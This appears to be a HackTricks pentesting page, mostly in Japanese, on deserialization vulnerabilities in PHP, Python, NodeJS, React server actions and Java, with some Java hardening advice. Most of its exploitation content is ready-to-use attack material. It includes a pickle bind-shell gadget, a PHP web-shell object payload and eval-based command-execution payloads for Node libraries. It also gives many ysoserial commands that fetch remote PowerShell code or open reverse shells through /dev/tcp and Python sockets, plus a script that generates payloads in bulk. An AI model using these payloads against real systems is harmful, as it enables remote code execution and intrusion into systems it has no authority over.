Deserialization

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

Serialization は、オブジェクトを保存可能な形式に変換する手法であり、オブジェクトを保存したり通信の一部として送信したりする目的で用いられます。この手法は、オブジェクトの構造や状態を維持したまま、後で再作成できるようにするために一般的に使われます。

Deserialization はそれに対する逆のプロセスで、特定の形式で構成されたデータを受け取り、それをオブジェクトとして再構築する処理です。

Deserialization は危険になり得ます。なぜならオブジェクト再構築中に攻撃者がシリアライズされたデータを操作して有害なコードを実行させたり、アプリケーションに予期しない動作を引き起こしたりすることを許す可能性があるからです。

PHP

In PHP、シリアライズおよびデシリアライズの過程で特定のマジックメソッドが使用されます:

  • __sleep: オブジェクトがシリアライズされる際に呼び出されます。このメソッドはシリアライズ対象のプロパティ名すべての配列を返すべきです。保留中のデータを書き込んだり、類似のクリーンアップ処理を行うためによく使われます。
  • __wakeup: オブジェクトがデシリアライズされる際に呼び出されます。シリアライズ中に失われた可能性のあるデータベース接続を再確立したり、その他の初期化処理を行うために使用されます。
  • __unserialize: オブジェクトがデシリアライズされる際、(存在する場合)__wakeup の代わりに呼ばれます。__wakeup に比べてデシリアライズ処理をより細かく制御できます。
  • __destruct: オブジェクトが破棄される直前やスクリプト終了時に呼び出されます。ファイルハンドルやデータベース接続を閉じるなどのクリーンアップ処理に通常使われます。
  • __toString: オブジェクトを文字列として扱えるようにするメソッドです。ファイル読み取りなど、その中で呼ばれる関数に基づいた処理に使われ、オブジェクトのテキスト表現を提供します。
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

If you look to the results you can see that the functions __wakeup and __destruct are called when the object is deserialized. Note that in several tutorials you will find that the __toString function is called when trying yo print some attribute, but apparently that’s not happening anymore.

Warning

クラスに実装されている場合、メソッド __unserialize(array $data)__wakeup() の代わりに 呼び出されます。これは、シリアライズされたデータを配列として渡すことでオブジェクトをアンシリアライズすることを可能にします。このメソッドを使ってプロパティをアンシリアライズしたり、デシリアライズ時に必要な処理を行うことができます。

class MyClass {
   private $property;

   public function __unserialize(array $data): void {
       $this->property = $data['property'];
       // Perform any necessary tasks upon deserialization.
   }
}

You can read an explained PHP example here: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, here https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf or here https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

You could abuse the PHP autoload functionality to load arbitrary php files and more:

PHP - Deserialization + Autoload Classes

Serializing Referenced Values

If for some reason you want to serialize a value as a reference to another value serialized you can:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHP Object Injection を allowed_classes で防ぐ

[!INFO] unserialize()第2引数$options 配列)への対応は PHP 7.0 で追加されました。古いバージョンでは関数はシリアライズされた文字列のみを受け取り、どのクラスをインスタンス化できるかを制限することは不可能です。

unserialize() は、特に指示がない限り、シリアライズされたストリーム内で見つけた すべてのクラスをインスタンス化します。 PHP 7 以降では、動作を allowed_classes オプションで制限できます:

// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);

// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false    // no classes may be created
]);

// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);

もし allowed_classes が省略されている または コードが PHP < 7.0 上で動作している 場合、その呼び出しは 危険 になります。攻撃者は __wakeup()__destruct() といったマジックメソッドを悪用するペイロードを作成して、Remote Code Execution (RCE) を実現できます。

実例: Everest Forms (WordPress) CVE-2025-52709

WordPress プラグイン Everest Forms ≤ 3.2.2 はヘルパーラッパーで防御を試みたが、レガシーな PHP バージョンへの配慮を忘れていた:

function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}

まだ PHP ≤ 7.0 を実行しているサーバーでは、この2番目の分岐は管理者が悪意のあるフォーム送信を開いたときに古典的な PHP Object Injection を引き起こしました。最小限の exploit payload は次のようになります:

O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}

管理者がエントリを閲覧するとただちにオブジェクトがインスタンス化され、SomeClass::__destruct() が実行され、結果として任意のコード実行が発生しました。

要点

  1. unserialize() を呼び出すときは常に ['allowed_classes' => false](または厳格なホワイトリスト)を渡してください。
  2. 守備的なラッパーを監査してください — しばしば古い PHP ブランチを忘れています。
  3. PHP ≥ 7.x にアップグレードするだけでは十分ではありません:オプションは明示的に指定する必要があります。

PHPGGC (ysoserial for PHP)

PHPGGC は PHP deserializations を悪用するためのペイロードを生成するのに役立ちます。
なお、多くの場合アプリケーションのソースコード内で deserialization を悪用する方法を見つけられない ことがありますが、外部 PHP extensions のコードを 悪用できる ことがあります。
ですから、可能であればサーバーの phpinfo() を確認し、インターネットで検索(および PHPGGCgadgets も)して、悪用できる可能性のある gadget を探してください。\

phar:// メタデータの deserialization

もし LFI を見つけ、それがファイルを読み込むだけで内部の php コードを実行しない、例えば file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()** のような関数を使用している場合、phar プロトコルを使ってファイルを読み取りした際に発生するdeserialization を悪用してみてください。
詳細は以下の投稿を参照してください:

phar:// deserialization

Python

Pickle

オブジェクトが unpickle されると、関数 ___reduce___ が実行されます。
悪用されると、サーバーがエラーを返すことがあります。

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Before checking the bypass technique, try using print(base64.b64encode(pickle.dumps(P(),2))) to generate an object that is compatible with python2 if you’re running python3.

pickle jails からの脱出についての詳細は以下を参照してください:

Bypass Python sandboxes

Yaml & jsonpickle

以下のページは、PythonのYAMLライブラリでのunsafe deserializationを悪用する手法を示しており、最後に Pickle, PyYAML, jsonpickle and ruamel.yaml 向けのRCEデシリアライズペイロードを生成するツールを紹介します:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python’s Prototype Pollution)

NodeJS

JS Magic Functions

JS doesn’t have “magic” functions like PHP or Python that are going to be executed just for creating an object. But it has some functions that are frequently used even without directly calling them such as toString, valueOf, toJSON.
デシリアライズを悪用してこれらの関数を改ざんし他のコードを実行させることができれば(potentially abusing prototype pollutions)、呼び出されたときに任意のコードを実行できます。

Another “magic” way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called “then” of type function, it will be executed just because it’s returned by another promise. 詳細は this link を参照してください。

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ and prototype pollution

この手法について学ぶには、以下のチュートリアルを参照してください:

NodeJS - proto & prototype Pollution

node-serialize

このライブラリは関数をシリアライズすることを可能にします。例:

var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

次のようなシリアライズされたオブジェクトになります:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

You can see in the example that when a function is serialized the _$$ND_FUNC$$_ flag is appended to the serialized object.

Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.

As you may see in the last chunk of code, if the flag is found eval is used to deserialize the function, so basically user input if being used inside the eval function.

However, just serialising a function won’t execute it as it would be necessary that some part of the code is calling y.rce in our example and that’s highly unlikable.
Anyway, you could just modify the serialised object adding some parenthesis in order to auto execute the serialized function when the object is deserialized.
In the next chunk of code notice the last parenthesis and how the unserialize function will automatically execute the code:

var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

前述のとおり、このライブラリは_$$ND_FUNC$$_以降のコードを取得し、evalexecute itします。したがって、auto-execute codeするには、delete the function creation部分と末尾の括弧を削除して、次の例のようにjust execute a JS onelinerできます:

var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

この脆弱性を悪用する方法に関する追加情報find hereで確認できます。

funcster

注目すべき点は、funcster標準の組み込みオブジェクト へアクセスできない点で、これらはアクセス可能なスコープの外にあります。この制約により、組み込みオブジェクトのメソッドを呼び出そうとするコードは実行できず、console.log()require(something) のようなコマンドを使用したときに "ReferenceError: console is not defined" のような例外が発生します。

この制限にもかかわらず、特定の方法を使えばすべての標準の組み込みオブジェクトを含むグローバルコンテキストへの完全なアクセスを回復することが可能です。グローバルコンテキストを直接利用することでこの制約を回避できます。例えば、以下のスニペットを使用してアクセスを再確立できます:

funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

詳しくは more information read this source.

serialize-javascript

The serialize-javascript packageはserialization目的専用に設計されており、組み込みのdeserialization機能はありません。ユーザーはdeserializationの方法を各自で実装する責任があります。公式の例では、シリアライズされたデータをdeserializingするために直接evalを使用することが示唆されています:

function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

この関数がオブジェクトのデシリアライズに使用されている場合、簡単に悪用できます:

var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

詳細 詳細についてはこのソースをお読みください.

Cryo library

以下のページでは、このライブラリを悪用して任意のコマンドを実行する方法に関する情報が見つかります:

  • https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
  • https://hackerone.com/reports/350418

React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182)

React Server Components (RSC) は react-server-dom-webpack (RSDW) を利用して、multipart/form-data として送信される server action の提出をデコードします。各アクション提出は次を含みます:

  • $ACTION_REF_<n> パートは呼び出されるアクションを参照します。
  • $ACTION_<n>:<m> パートのボディは JSON で、例えば {"id":"module-path#export","bound":[arg0,arg1,...]} のようになります。

バージョン 19.2.0 では、decodeAction(formData, serverManifest) ヘルパーは id 文字列(どのモジュール export を呼び出すかを選択する)と bound 配列(引数)を無条件に信頼します。攻撃者が decodeAction にリクエストを転送するエンドポイントに到達できれば、React フロントエンドが無くても攻撃者制御のパラメータで任意の exported server action を呼び出すことができます(CVE-2025-55182)。エンドツーエンドの手順は次の通りです:

  1. アクション識別子を特定する。バンドルの出力、エラートレース、または漏洩したマニフェストにより、app/server-actions#generateReport のような文字列が明らかになることが多い。
  2. multipart ペイロードを再作成する。識別子と任意の引数を含む $ACTION_REF_0 パートと $ACTION_0:0 JSON ボディを作成する。
  3. decodeAction にそれを処理させる。ヘルパーは serverManifest からモジュールを解決し、export を import して、サーバーが即座に実行する呼び出し可能なオブジェクトを返す。

Example payload hitting /formaction:

POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--

または curl を使用して:

curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'

bound 配列は server-action パラメータを直接設定します。
脆弱な lab では gadget は次のように見えます:

const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);

async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}

Supplying format = "pdf & whoami" makes /bin/sh -c run the legitimate report generator and then whoami, with both outputs delivered inside the JSON action response. Any server action that wraps filesystem primitives, database drivers or other interpreters can be abused the same way once the attacker controls the bound data.

An attacker never needs a real React client—any HTTP tool that emits the $ACTION_* multipart shape can directly call server actions and chain the resulting JSON output into an RCE primitive.

Java - HTTP

In Java, deserialization callbacks are executed during the process of deserialization. This execution can be exploited by attackers who craft malicious payloads that trigger these callbacks, leading to potential execution of harmful actions.

フィンガープリント

White Box

コードベース内の潜在的な serialization 脆弱性を特定するには次を検索してください:

  • Serializable インターフェースを実装するクラス。
  • java.io.ObjectInputStreamreadObjectreadUnshare の使用。

特に注意すべき点:

  • 外部ユーザによって定義されたパラメータで利用されている XMLDecoder
  • XStreamfromXML メソッド、特に XStream のバージョンが 1.46 以下の場合は serialization に関する問題が発生しやすい。
  • ObjectInputStreamreadObject メソッドの組み合わせ。
  • readObjectreadObjectNodDatareadResolve、または readExternal のようなメソッドの実装。
  • ObjectInputStream.readUnshared
  • Serializable の一般的な使用。

Black Box

Black Box テストでは、ObjectInputStream に由来する java serialized objects を示す特定の 署名または “Magic Bytes” を探します:

  • 16進パターン: AC ED 00 05.
  • Base64 パターン: rO0.
  • Content-typeapplication/x-java-serialized-object に設定された HTTP レスポンスヘッダ。
  • 事前圧縮を示す16進パターン: 1F 8B 08 00.
  • 事前圧縮を示す Base64 パターン: H4sIA.
  • .faces 拡張子を持つ Web ファイルと faces.ViewState パラメータ。これらのパターンがウェブアプリで見つかった場合は、post about Java JSF ViewState Deserialization に詳述されているように調査を行ってください。
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

脆弱性の確認

もし learn about how does a Java Deserialized exploit work を学びたい場合は、Basic Java DeserializationJava DNS Deserialization、およびCommonsCollection1 Payload を参照してください。

SignedObject-gated deserialization and pre-auth reachability

モダンなコードベースでは、java.security.SignedObject で deserialization をラップし、getObject() を呼ぶ前に署名を検証することがあります(内部オブジェクトを deserializes します)。これにより任意のトップレベルの gadget classes を防げますが、攻撃者が有効な署名を入手できる(例:private-key compromise や signing oracle)場合は依然として悪用される可能性があります。さらに、エラーハンドリングのフローが未認証ユーザー向けに session-bound tokens を発行することがあり、結果として保護された sinks が pre-auth の状態で公開される場合があります。

For a concrete case study with requests, IoCs, and hardening guidance, see:

Java Signedobject Gated Deserialization

White Box Test

既知の脆弱性を持つアプリケーションがインストールされているかどうかを確認できます。

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

既知の脆弱なライブラリでYsoserial がエクスプロイトを提供できるものをすべて確認してみることができます。あるいは Java-Deserialization-Cheat-Sheet に記載されたライブラリを確認してもよいでしょう。
また、利用可能なガジェットチェーンを検索するためにgadgetinspectorを使用することもできます。
gadgetinspector を実行する際(ビルド後)は大量の警告/エラーが出ても気にせず最後まで実行させてください。すべての発見は gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt に書き込まれます。gadgetinspector はエクスプロイトを作成せず、誤検出を示す可能性があることに注意してください。

ブラックボックステスト

Burp の拡張機能gadgetprobeを使用すると、どのライブラリが利用可能か(場合によってはバージョンまで)を特定できます。この情報があれば、脆弱性を突くためのペイロードを選ぶのが容易になることがあります。
Read this to learn more about GadgetProbe.
GadgetProbe は ObjectInputStream の deserializations に重点を置いています。

Burp の拡張機能Java Deserialization Scannerを使用すると、ysoserial で悪用可能な脆弱なライブラリを特定し、それらをエクスプロイトすることができます。
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner は ObjectInputStream の deserializations に重点を置いています。

Freddy を使用して、Burp 内で deserializations の脆弱性を検出することもできます。このプラグインは ObjectInputStream に関連する脆弱性だけでなく、JsonYml の deserialization ライブラリ由来の脆弱性も検出します。アクティブモードでは、sleep や DNS ペイロードを使ってそれらを確認しようとします。
You can find more information about Freddy here.

シリアライゼーションテスト

サーバーが脆弱なライブラリを使用しているかどうかを確認するだけが全てではありません。場合によっては、シリアライズされたオブジェクト内のデータを変更してチェックを回避できる(例えば webapp 内で管理者権限を得る)ことがあります。
web アプリケーションに送信されている java シリアライズオブジェクトを見つけたら、SerializationDumper を使って送信されているシリアライズオブジェクトをより人間に読みやすい形式で表示することができます。送信しているデータが分かれば、修正してチェックを回避するのが容易になります。

エクスプロイト

ysoserial

Java の deserializations をエクスプロイトする主なツールはysoserialdownload here)です。より複雑なコマンド(例えばパイプを含む)を使いたい場合は、ysoseral-modified の利用も検討してください。
このツールは ObjectInputStream のエクスプロイトに特化しています。
まずは注入が可能か確認するために、RCE ペイロードの前に “URLDNS” ペイロードを試すことをお勧めします。ただし、“URLDNS” ペイロードが動作しない場合でも、他の RCE ペイロードが有効なこともある点に注意してください。

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

java.lang.Runtime.exec() のペイロードを作成する際、実行の出力をリダイレクトするための “>” や “|”、コマンドを実行するための “$()”、あるいは スペース で区切られたコマンドへの 引数を渡す といった特殊文字は 使用できませんecho -n "hello world" のようなことはできますが、python2 -c 'print "Hello world"' のようにはできません)。ペイロードを正しくエンコードするには、use this webpage を利用してください。

以下のスクリプトを使って、Windows と Linux 向けの all the possible code execution ペイロードを作成し、脆弱なウェブページでテストしてください:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

次のリポジトリを使用 https://github.com/pwntester/SerialKillerBypassGadgetCollection し、ysoserialと併用してより多くのエクスプロイトを作成できます。このツールが発表された講演のスライドに詳細があります: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec は、Java のさまざまな Json および Yml シリアライゼーションライブラリを悪用するためのペイロードを生成するのに使用できます.
プロジェクトをコンパイルするために、pom.xml にこれらの dependencies追加 する必要がありました:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

maven をインストールし、プロジェクトをcompileしてください:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

このJavaのJSONライブラリの詳細は次を参照: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

ラボ

理由

Java は以下のようなさまざまな目的でシリアライズを多用します:

  • HTTP requests: パラメータ、ViewState、cookies などの管理にシリアライズが広く用いられます。
  • RMI (Remote Method Invocation): Java RMI プロトコルは完全にシリアライズに依存しており、Java アプリケーションのリモート通信の重要な基盤です。
  • RMI over HTTP: Java ベースの厚めのクライアント型 web applications で一般的に使用され、すべてのオブジェクト通信にシリアライズを利用します。
  • JMX (Java Management Extensions): JMX はネットワーク越しのオブジェクト送信にシリアライズを使用します。
  • Custom Protocols: Java では生の Java オブジェクトを送信するのが標準的な慣行であり、これは今後の exploit examples で示されます。

対策

Transient objects

Serializable を実装するクラスは、クラス内でシリアライズすべきでないオブジェクトを transient として宣言できます。例えば:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Avoid Serialization of a class that need to implements Serializable

クラス階層のために特定の オブジェクトがSerializableを実装しなければならない 場合、意図しないデシリアライズのリスクが生じます。これを防ぐには、これらのオブジェクトがデシリアライズできないよう、常に例外をスローするfinalreadObject()メソッドを定義してください。以下に示すように:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Java における Deserialization セキュリティの強化

java.io.ObjectInputStream をカスタマイズすること は、deserialization プロセスを保護する実用的なアプローチです。この方法は次の場合に適しています:

  • deserialization のコードがあなたの管理下にある場合。
  • deserialization に期待されるクラスが既知である場合。

resolveClass() メソッドをオーバーライドして、許可されたクラスのみに deserialization を制限します。これにより、明示的に許可されたもの(例えば以下の例で Bicycle クラスのみ)以外のクラスの deserialization を防げます:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Using a Java Agent for Security Enhancement は、コードの変更が不可能な場合のフォールバック手段を提供します。この方法は主に blacklisting harmful classes に適用され、JVM parameter:

-javaagent:name-of-agent.jar

これは、即時のコード変更が現実的でない環境に最適な、デシリアライズを動的に保護する方法を提供します。

例と詳細は rO0 by Contrast Security を確認してください。

Implementing Serialization Filters: Java 9 は ObjectInputFilter インターフェースによるシリアライゼーションフィルタを導入し、シリアライズされたオブジェクトがデシリアライズされる前に満たすべき条件を指定する強力な仕組みを提供します。これらのフィルタはグローバルまたはストリーム単位で適用でき、デシリアライズ処理に対して細かい制御を可能にします。

シリアライゼーションフィルタを利用するには、すべてのデシリアライズ操作に適用されるグローバルフィルタを設定するか、特定のストリームのために動的に構成できます。例えば:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

外部ライブラリを活用したセキュリティ強化: NotSoSerial, jdeserialize, Kryo のようなライブラリは、Java deserialization を制御・監視するための高度な機能を提供します。これらのライブラリは、クラスの whitelisting や blacklisting、deserialization 前の serialized objects の解析、カスタムな serialization 戦略の実装など、追加のセキュリティ層を提供できます。

  • NotSoSerial は deserialization プロセスをインターセプトして untrusted code の実行を防ぎます。
  • jdeserialize は serialized Java objects を deserializing せずに解析でき、潜在的に malicious なコンテンツを特定するのに役立ちます。
  • Kryo は速度と効率を重視した代替の serialization フレームワークで、設定可能な serialization 戦略を提供し、セキュリティを向上させることができます。

参考資料

JNDI Injection & log4Shell

